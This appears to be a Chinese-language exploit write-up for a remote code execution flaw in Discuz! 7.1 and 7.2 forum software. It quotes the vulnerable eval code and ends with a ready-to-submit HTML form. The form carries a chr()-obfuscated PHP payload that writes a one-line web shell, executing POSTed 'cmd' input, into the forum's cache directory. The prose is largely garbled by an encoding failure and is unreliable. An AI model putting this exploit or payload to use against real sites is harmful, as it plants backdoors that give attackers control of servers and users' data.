Discuz! 7.1 & 7.2 Զ̴ִ©


˵©$scriptlangڰװѾʼаװûӰ졣

©ܣ

Discuz°汾7.17.2汾еshowmessageevalִеĲδʼύӶִPHP

©

Զ̴ִ©ĺأֱдshellģ

һ©showmessage

function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {

     extract($GLOBALS, EXTR_SKIP);//Σյ÷δʼıֱӴֱӵfrom www.oldjun.com

     global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;

     define('CACHE_FORBIDDEN', TRUE);

     $hookscriptmessage = $show_message = $message;$messagehandle = 0;

     $msgforward = unserialize($_DCACHE['settings']['msgforward']);

     $refreshtime = intval($msgforward['refreshtime']);

     $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);

     $msgforward['refreshtime'] = $refreshtime * 1000;

     $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);

     $seccodecheck = $seccodestatus & 2;

     if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {

         $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';

         if($fp = @fopen($statlogfile, 'a')) {

             @flock($fp, 2);

             if(is_array($funcstatinfo)) {

                 $funcstatinfo = array_unique($funcstatinfo);

                 foreach($funcstatinfo as $funcinfo) {

                     fwrite($fp, funcstat_query($funcinfo, $message)."\n");

                 }

             } else {

                 fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");

             }

             fclose($fp);

             $funcstatinfo = $GLOBALS['funcstatinfo'] = '';

         }

     }



     if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {

         write_statlog($message);

     }



     if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {

         updatesession();

         dheader("location: ".str_replace('&amp;', '&', $url_forward));

     }

     if(!empty($infloat)) {

         if($extra) {

             $messagehandle = $extra;

         }

         $extra = '';

     }

     if(in_array($extra, array('HALTED', 'NOPERM'))) {

         $discuz_action = 254;

     } else {

         $discuz_action = 255;

     }



     include language('messages');



     $vars = explode(':', $message);//ֻҪ:Ϳ

     if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//ּɣ:ָ

         eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlangδʼԶ壬from www.oldjun.com

     } elseif(isset($language[$message])) {

         $pre = $inajax ? 'ajax_' : '';

         eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");

         unset($pre);

     }



     ......

}

DZȫֻƵδʼĲύ

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

     foreach($$_request as $_key => $_value) {

         $_key{0} != '_' && $$_key = daddslashes($_value);

     }

}

misc.phpиԶmessageĵ㣬ʵҲδʼ

elseif($action == 'imme_binding' && $discuz_uid) {



     if(isemail($id)) {

         $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");

         $msn = explode("\t", $msn);

         $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));

         $msn = "$msn[0]\t$id";

         $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");

         showmessage('msn_binding_succeed', 'memcp.php');

     } else {

         if($result == 'Declined') {

             dheader("Location: memcp.php");

         } else {

             showmessage($response['result']);//$responseûгʼԶ壬from www.oldjun.com



         }

     }



    }

ġ©ã

showmessage$vars = explode(':', $message);ȻmessageԼƣǾͺˣԶ顣

HTMLԴ룺

<form method="post" action="http://bbs.XXXX.com/misc.php" enctype="multipart/form-data">

IDָһڵӼɣ<input type="text" name="tid" value="1" />

<input type="hidden" name="action" value="imme_binding" />

<input type="hidden" name="response[result]" value="1:2" />

<input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(117).chr(115).chr(101).chr(114).chr(103).chr(114).chr(111).chr(117).chr(112).chr(95).chr(48).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" />

<input type="submit" name="topicsubmit" value="ύ" class="submit" />

</form>

forumdata/cache/usergroup_01.php cmd ɵһ仰

 

